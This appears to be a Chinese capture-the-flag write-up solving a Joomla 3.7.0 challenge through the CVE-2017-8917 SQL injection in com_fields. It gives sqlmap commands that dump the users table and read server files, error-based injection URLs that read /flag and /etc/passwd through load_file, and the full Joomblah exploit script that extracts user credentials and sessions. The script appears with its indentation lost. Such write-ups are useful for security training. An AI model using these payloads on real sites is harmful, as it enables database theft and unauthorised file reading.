安鸾CMS系列之Joomla
涂寐 Lv5

0x00 前言

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io/article/51e9a7e.html

0x01 题目提示

1
2
题目URL:http://106.15.50.112:8039/
提示:flag在服务器系统根目录,文件名为flag

0x02 信息收集

  1. 简单浏览站点 + 目录扫描 + 插件检测,得到:

①PHP:5.6.40 ②nginx/1.14.2 ③Joomla! 3.7 ④Linux
image

  1. CMSeek 扫描一波,信息还不错

image

  1. 度娘找 Nday,可以看下官方公告什么时候缩小范围
    1
    2
    3
    发布时间 : 2019/11/26
    题目类型 : CMS系列
    题目名称 : Joomla
    image

0x03 joomscan 利用

  1. 直接给它扫一轮看有点啥, joomscan -u http://106.15.50.112:8039/ ,路径挺多的

image

  1. 该干正事了,咱找的是 joomla 3.7.0 的可能漏洞, searchsploit joomla 3.7.0

image

  1. 分别看下文档呗 searchsploit -m 42033 ,分别的漏洞编号,CVE-2017-8917 和 CVE-2018-5263,比对度娘所得,判断为 CVE-2017-8917 拿 flag

image

0x04 SQLMap 利用

  1. 根据 joomscan 中文档提示,枚举所有数据库名,SQLMap 中写入 :
1
sqlmap -u "http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image

  1. 这一长串的,懵吗?你说呢!解析下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #sqlmap爆破数据
    #sqlmap使用到的一些参数

    --random-agent # 随机user-agent
    --level=LEVEL # 测试的等级(1-5,默认为1)
    --risk=RISK # 测试的风险等级(1-4,默认1)
    --dbs # 枚举数据库
    -D joomladb # 指定枚举的 joomladb 数据库
    --tables # 枚举数据库中的表
    -T "#_users" # 指定枚举的表"#_users"
    --columns # 枚举表中的字段(列)
    -C username,password # 指定从 usrname 和 password 列查询数据
    --dump # 获取信息,下载数据
    -p name # 多参数是,指定对 name 参数进行注入
    -u # 指定攻击目标,需带参数
  2. 枚举 joomla 数据库下所有表:

1
sqlmap -u "http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --tables -p list[fullordering]

image

  1. 有个 user 表,肯定得爆一波字段
1
sqlmap -u "http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T "#_users" --columns -p list[fullordering]

image

  1. 继续,拿账密:
1
sqlmap -u "http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T "#__users"  -C username,password --dump -p list[fullordering]

image

  1. 尝试解密

这加密?BCrypt 加密算法,以前年轻,找了一个又一个字典,皆是无功而返,现在就不演示了。想玩的,慢慢碰撞吧,我先走一步……
admin | $2y$10$hDW1g7/LAsdnB6y34ClFH.QYWgDeBMEeboHngKL.DVCcZb8IJ4gYO

  1. 直接读取服务端本地文件 ‘/flag’ – flag{89947d410d897474}
1
sqlmap -u "http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agen -p list[fullordering] --file-read '/flag' 

image

  1. 尝试写入 SHELL 文件,结果大致是没权限吧
1
sqlmap -u "http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agen -p list[fullordering] –file-write ./test.txt –file-dest ./1.txt 

image

0x05 手工读取服务端文件

  1. 读取 /flag

根据题目提示,可知 flag 在网站根目录,故其路径为 /flag ,注:此处 /flag 需转为十六进制避免报错。
在mysql中,load_file()函数读取一个文件并将其内容作为字符串返回,如下我们就需要利用报错注入+ load_file 函数实现对服务端文件的非法读取:
http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,load_file(0x2f666c6167),0x7e),1)
image

  1. 读取 /etc/passwd

http://106.15.50.112:8039/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,load_file(0x2f6574632f706173737764),0x7e),1)
image

0x06 脚本爆账密

直接写入 python2 joomblah.py http://106.15.50.112:8039 ,得到一个账号和加盐的口令。
这是大佬的脚本链接:https://github.com/XiphosResearch/exploits/blob/master/Joomblah/joomblah.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import os
import random
import time
import binascii


def extract_token(resp):
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
if match is None:
print(" [!] Cannot find CSRF token")
return None
return match.group(1)


def parse_options():
parser = argparse.ArgumentParser(description='Jooma Exploit')
parser.add_argument('url', help='Base URL for Joomla site')
return parser.parse_args()


def build_sqli(colname, morequery):
return "(SELECT " + colname + " " + morequery + ")"

def joomla_370_sqli_extract(options, sess, token, colname, morequery):
sqli = build_sqli("LENGTH("+colname+")", morequery)
length = joomla_370_sqli(options, sess, token, sqli)
if not length:
return None
length = int(length)
maxbytes = 30
offset = 0
result = ''
while length > offset:
sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)
value = joomla_370_sqli(options, sess, token, sqli)
if not value:
print(" [!] Failed to retrieve string for query:", sqli)
return None
value = binascii.unhexlify(value)
result += value
offset += len(value)
return result


def joomla_370_sqli(options, sess, token, sqli):
sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"
data = {
'option': 'com_fields',
'view': 'fields',
'layout': 'modal',
'list[fullordering]': sqli_full,
token: '1',
}
resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False)
match = re.search(r'XPATH syntax error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)
if match:
match = match.group(1).strip()
if match[0] != ':' and match[-1] != ':':
return None
return match[1:-1]


def extract_joomla_tables(options, sess, token):
tables = list()
first = False
offset = 0
while True:
result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
if result is None:
if first:
print("!] Failed to retrieve first table name!")
return False
break
tables.append(result)
print(" - Found table:", result)
first = False
offset += 1
return tables


def extract_joomla_users(options, sess, token, table_name):
users = list()
offset = 0
first = False
print(" - Extracting users from", table_name)
while True:
result = joomla_370_sqli_extract(options, sess, token, "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)", "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )
if result is None:
if first:
print("!] Failed to retrieve user from table!")
return False
break
result = result.split('|')
print(" [$] Found user",result)
first = False
offset += 1
users.append(result)
return users




def extract_joomla_sessions(options, sess, token, table_name):
sessions = list()
offset = 0
first = False
print(" - Extracting sessions from", table_name)
while True:
result = joomla_370_sqli_extract(options, sess, token, "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0 LIMIT %d,1" % (table_name, offset) )
if result is None:
if first:
print("!] Failed to retrieve session from table!")
return False
break
result = result.split('|')
print(" [$] Found session", result)
first = False
offset += 1
sessions.append(result)
return sessions




def pwn_joomla_again(options):
sess = requests.Session()

print(" [-] Fetching CSRF token")
resp = sess.get(options.url + "/index.php/component/users/?view=login")
token = extract_token(resp)
if not token:
return False

# Verify that we can perform SQLi
print(" [-] Testing SQLi")
result = joomla_370_sqli(options, sess, token, "128+127")
if result != "255":
print(" [!] Could not find SQLi output!")
return False

tables = extract_joomla_tables(options, sess, token)

for table_name in tables:
table_prefix = table_name[:-5]
extract_joomla_users(options, sess, token, table_name)
extract_joomla_sessions(options, sess, token, table_prefix + 'session')

return True

def print_logo():
clear = "\x1b[0m"
colors = [31, 32, 33, 34, 35, 36]

logo = """
.---. .-'''-. .-'''-.
| | ' _ \ ' _ \ .---.
'---' / /` '. \ / /` '. \ __ __ ___ /| | | .
.---.. | \ ' . | \ ' | |/ `.' `. || | | .'|
| || ' | '| ' | '| .-. .-. '|| | | < |
| |\ \ / / \ \ / / | | | | | ||| __ | | __ | |
| | `. ` ..' / `. ` ..' / | | | | | |||/'__ '. | | .:--.'. | | .'''-.
| | '-...-'` '-...-'` | | | | | ||:/` '. '| |/ | \ | | |/.'''. \
| | | | | | | ||| | || |`" __ | | | / | |
| | |__| |__| |__|||\ / '| | .'.''| | | | | |
__.' ' |/\'..' / '---'/ / | |_| | | |
| ' ' `'-'` \ \._,\ '/| '. | '.
|____.' `--' `" '---' '---'
"""
for line in logo.split("\n"):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
#time.sleep(0.05)

def main(base_url):
options = parse_options()
options.url = options.url.rstrip('/')
print_logo()
pwn_joomla_again(options)

if __name__ == "__main__":
sys.exit(main("http://192.168.10.100:8080/joomla"))

image

0x07 后记

说什么呢,这个题目纠结了很久,就搁解密那儿,就硬怼
现在只想说一句,先自己想,可以跟别人的思路,但也别走死胡同
这玩意时拿 flag 呀,看题目提示!好吧~又菜又爱玩

 评论